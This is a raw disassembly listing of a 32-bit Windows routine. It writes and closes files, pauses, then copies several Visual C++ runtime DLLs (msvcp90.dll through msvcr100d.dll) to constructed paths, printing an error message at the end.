mov eax, dword [esp + 0x10c]
add esp, 0x1c
cmp ecx, 0x10
jae 0x4027e5
lea eax, [esp + 0xf0]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4027f0
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0xf0]
jae 0x40280e
lea ecx, [esp + 0xf0]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x94]
mov eax, dword [esp + 0x80]
add esp, 0x1c
cmp ecx, 0x10
jae 0x402836
lea eax, [esp + 0x64]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402840
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x64]
jae 0x402858
lea ecx, [esp + 0x64]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0xb0]
mov eax, dword [esp + 0x9c]
add esp, 0x1c
cmp ecx, 0x10
jae 0x402883
lea eax, [esp + 0x80]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402890
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x80]
jae 0x4028ae
lea ecx, [esp + 0x80]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x48]
add esp, 0x1c
cmp ecx, 0x10
jae 0x4028d0
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4028d7
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x2c]
jae 0x4028ef
lea ecx, [esp + 0x2c]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x64]
add esp, 0x1c
cmp ecx, 0x10
jae 0x402911
lea eax, [esp + 0x48]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402918
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x48]
jae 0x402930
lea ecx, [esp + 0x48]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x48]
add esp, 0x1c
cmp ecx, 0x10
jae 0x402952
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402960
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x2c]
jae 0x402978
lea ecx, [esp + 0x2c]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x120]
mov eax, dword [esp + 0x10c]
add esp, 0x1c
cmp ecx, 0x10
jae 0x4029a3
lea eax, [esp + 0xf0]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4029b0
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0xf0]
jae 0x4029ce
lea ecx, [esp + 0xf0]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
add esp, 0x1c
push esi
mov esi, dword [sym.imp.MSVCR100.dll_fclose]
call esi
mov eax, dword [esp + 0x20]
add esp, 4
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x7d0
call ebx
lea ecx, [esp + 0x128]
push ecx
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0xdc]
push eax
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcp90.dll
lea ecx, [esp + 0x27c]
mov byte [esp + 0x3ec], 0x1c
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0x1e
cmp dword [esp + 0xe8], 0x10
jb 0x402a62
mov ecx, dword [esp + 0xd4]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea edx, [esp + 0x128]
push edx
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0xa4]
xor esi, esi
push ecx
mov dword [esp + 0xf4], 0xf
mov dword [esp + 0xf0], esi
mov byte [esp + 0xe0], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcp100.dll
lea ecx, [esp + 0x260]
mov byte [esp + 0x3ec], 0x1f
call fcn.00404cc0
add esp, 4
mov edi, 0x10
mov byte [esp + 0x3e8], 0x21
cmp dword [esp + 0xb0], edi
jb 0x402ae2
mov edx, dword [esp + 0x9c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea eax, [esp + 0x128]
push eax
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0xdc]
push edx
mov dword [esp + 0xbc], 0xf
mov dword [esp + 0xb8], esi
mov byte [esp + 0xa8], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcp100d.dll
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x3ec], 0x22
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0x24
cmp dword [esp + 0xe8], edi
jb 0x402b5b
mov eax, dword [esp + 0xd4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x128]
push ecx
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0xa4]
push eax
mov dword [esp + 0xf4], 0xf
mov dword [esp + 0xf0], esi
mov byte [esp + 0xe0], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcr90.dll
lea ecx, [esp + 0x20c]
mov byte [esp + 0x3ec], 0x25
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0x27
cmp dword [esp + 0xb0], edi
jb 0x402bd4
mov ecx, dword [esp + 0x9c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea edx, [esp + 0x128]
push edx
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0xdc]
push ecx
mov dword [esp + 0xbc], 0xf
mov dword [esp + 0xb8], esi
mov byte [esp + 0xa8], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcr100.dll
lea ecx, [esp + 0x1f0]
mov byte [esp + 0x3ec], 0x28
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0x2a
cmp dword [esp + 0xe8], edi
jb 0x402c4d
mov edx, dword [esp + 0xd4]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea eax, [esp + 0x128]
push eax
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x29c]
push edx
mov dword [esp + 0xf4], 0xf
mov dword [esp + 0xf0], esi
mov byte [esp + 0xe0], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcr100d.dll
lea ecx, [esp + 0x228]
mov byte [esp + 0x3ec], 0x2b
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0x2d
cmp dword [esp + 0x2a8], edi
jb 0x402cc6
mov eax, dword [esp + 0x294]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0x278]
mov dword [esp + 0x2a8], 0xf
mov dword [esp + 0x2a4], esi
mov byte [esp + 0x294], 0
cmp dword [esp + 0x28c], edi
jae 0x402cf7
lea eax, [esp + 0x278]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push eax
push str.msvcp90.dll
call esi
mov eax, dword [esp + 0x25c]
cmp dword [esp + 0x270], edi
jae 0x402d1e
lea eax, [esp + 0x25c]
push 0
push eax
push str.msvcp100.dll
call esi
mov eax, dword [esp + 0x1d0]
cmp dword [esp + 0x1e4], edi
jae 0x402d3f
lea eax, [esp + 0x1d0]
push 0
push eax
push str.msvcp100d.dll
call esi
mov eax, dword [esp + 0x208]
cmp dword [esp + 0x21c], edi
jae 0x402d60
lea eax, [esp + 0x208]
push 0
push eax
push str.msvcr90.dll
call esi
mov eax, dword [esp + 0x1ec]
cmp dword [esp + 0x200], edi
jae 0x402d81
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.EROR__
push eax
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
xor al, al
mov ecx, dword [esp + 0x3e0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3c8]
xor ecx, esp
call fcn.0040598c
mov esp, ebp
pop ebp
ret